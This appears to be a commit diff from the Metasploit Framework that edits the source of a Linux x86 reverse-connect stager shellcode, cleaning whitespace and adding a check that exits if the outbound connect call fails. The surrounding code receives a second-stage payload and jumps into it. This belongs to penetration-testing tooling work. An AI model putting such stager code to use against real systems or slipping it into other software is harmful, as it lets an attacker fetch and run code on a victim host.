fit source to shellcode prev change

external/source/shellcode/linux/ia32/stager_sock_reverse.asm

@@ -1,9 +1,9 @@
 ;;
-; 
+;
 ;        Name: stager_sock_reverse
 ;   Qualities: Can Have Nulls
 ;     Version: $Revision: 1512 $
-;     License: 
+;     License:
 ;
 ;        This file is part of the Metasploit Exploit Framework
 ;        and is subject to the same licenses and copyrights as
@@ -62,6 +62,8 @@ connect:
 	mov  ecx, esp         ; socketcall args
 	inc  ebx              ; 3 = SYS_CONNECT
 	int  0x80
+	test eax, eax
+  js failed
 
 %ifndef USE_SINGLE_STAGE
 
@@ -85,4 +87,9 @@ recv:
 	int  0x80
 	jmp  ecx
 
+failed:
+	mov eax, 0x1
+	mov ebx, 0x1          ; set exit status to 1
+	int 0x80              ; sys_exit
+
 %endif